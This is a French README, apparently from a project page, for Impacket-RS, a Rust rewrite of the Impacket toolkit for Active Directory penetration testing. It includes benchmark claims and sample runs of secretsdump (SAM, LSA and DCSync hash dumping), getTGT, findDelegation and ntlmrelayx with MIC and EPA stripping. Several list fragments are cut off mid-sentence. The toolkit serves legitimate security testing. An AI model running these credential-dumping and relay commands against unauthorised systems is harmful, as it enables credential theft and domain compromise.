
Refonte en Rust pur, haute performance et sûre en mémoire, des principaux protocoles réseau et outils Active Directory d'Impacket (de Win2000 à Win2025)
Réécriture en Rust haute performance et sûre en mémoire des principaux protocoles réseau et outils Active Directory d'Impacket
Aucune dépendance aux runtimes Python ou C • Primitives cryptographiques 100 % Rust • Parité Impacket à 100 % • Linux, macOS et Windows
Impacket-RS est une réécriture moderne, sûre en mémoire et repartie de zéro de la boîte à outils de référence du secteur SecureAuth Impacket, en Rust pur. Conçue pour les chercheurs en sécurité, les testeurs d'intrusion, les red teams et les administrateurs système, elle apporte une vitesse fulgurante, des démarrages à froid inférieurs à la milliseconde, aucune surcharge d'interpréteur et une sécurité mémoire totale vérifiée à la compilation à la manipulation bas niveau des protocoles réseau Windows.
psexec, wmiexec, smbexec, atexec), l'extraction d'identifiants (secretsdump, ntdsdump, dpapi), les attaques et le blindage Kerberos (GetNPUsers, GetUserSPNs, getTGT, getST, raiseChild, ticketer Golden/Silver/Diamond), l'administration Active Directory (ldapclient, GetADUsers, trueTree, dnstool, GetLAPSPassword), le relais (ntlmrelayx), la dissection de paquets (sniffer) et l'audit réseau (rdp_check, mqtt_check, tracer).LegacyWin2000, UniversalAuto, ModernHardened).
Benchmarks exécutés sur Apple Silicon (série M, 10 cœurs) et Linux (AMD EPYC, 8 cœurs), comparant Impacket v0.12.0 sous Python 3.11 à impacket-rs v0.1.0-dev (build release) :
| Métrique de référence | Python Impacket (v0.12.0) | Impacket-RS (Rust) | Accélération / Efficacité |
|---|---|---|---|
| Latence de démarrage à froid de la CLI | 185.4 ms | 1.8 ms | ~103x plus rapide |
| Empaquetage + dépaquetage NDR PDU | 42,000 ops/sec | 5,850,000 ops/sec | ~139x plus rapide |
| Empreinte mémoire (RSS) | 48.2 MB | 4.6 MB | ~10x plus petite |
| Analyse de 10 000 hachages NTDS | 14.8 seconds | 0.22 seconds | ~67x plus rapide |
| Chiffrement de tickets Kerberos | 1,250 tickets/sec | 98,400 tickets/sec | ~78x plus rapide |
| Taille du binaire statique | Nécessite Python + Venv | Binaire autonome unique | Zéro dépendance à l'exécution |
secretsdump (SAM distant, LSA et DCSync Active Directory)$ impacket-rs secretsdump corp.local/administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Target OS identified: Windows Server 2022 Datacenter (Build 20348)
[*] Negotiated SMB Dialect: SMB 3.1.1 [AES-128-GCM / SHA-512 Preauth]
[*] Service Remote Registry (winreg) started successfully via \PIPE\svcctl
[*] Dumping local SAM hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping LSA Secrets...
$MACHINE.ACC: 0x4a12f8c... [AES-256 decrypted]
NL$KM: 0x88e142c...
[*] Bound to MS-DRSR (DRSUAPI DCSync) over ncacn_ip_tcp...
[+] Domain Controller synchronization complete: 1,420 accounts extracted in 0.84s
getTGT avec armure FAST (RFC 6113)$ impacket-rs getTGT -fast armor.ccache corp.local/svc_backup:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Loading Kerberos FAST Armor from 'armor.ccache'...
[*] Encapsulating AS-REQ inside PA-FX-FAST using PRF+ (AES-256) session subkey...
[*] Sending armored AS-REQ to 192.168.1.5:88...
[+] Received AS-REP (EncType: AES256-CTS-HMAC-SHA1-96)
[+] Successfully acquired TGT for [email protected]!
[*] Saved credential cache to 'svc_backup.ccache'
findDelegation avec des graphes de confiance ASCII$ impacket-rs findDelegation -graph administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Connecting to LDAP on 192.168.1.10:389...
[*] Scanning Active Directory for Kerberos Delegation configurations...
=== Active Directory Delegation Graph ===
[DC01$] (Unconstrained Delegation)
├── TRUSTS ANY SERVICE ON DOMAIN
└── Can impersonate any ticket presented to host
[WEB-SRV01$] (Constrained Delegation with Protocol Transition)
└── [cifs/fileserver.corp.local]
└── [http/fileserver.corp.local]
[SQL-SVC] (Resource-Based Constrained Delegation)
└── Allowed Principals: [CORP\Tier1-Admins]
[+] Discovered 3 delegation relationships.
ntlmrelayx$ impacket-rs ntlmrelayx -tf targets.txt -proto http
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Initializing NTLM Relay Engine...
Listen Protocol : HTTP
Listen Port : 80
Target Count : 4
Strip MIC : Enabled (MsvAvFlags & !0x02)
Strip EPA : Enabled (MsvAvChannelBindings)
[+] Target Routing Table:
[01] SMB -> 192.168.1.10:445
[02] LDAP -> dc01.corp.local:389
[03] MSSQL -> sql01.corp.local:1433
[04] HTTP -> web01.corp.local:8080
[+] Relay session ready: Http -> Smb
[+] Ready to receive incoming connections. Relay engine operational.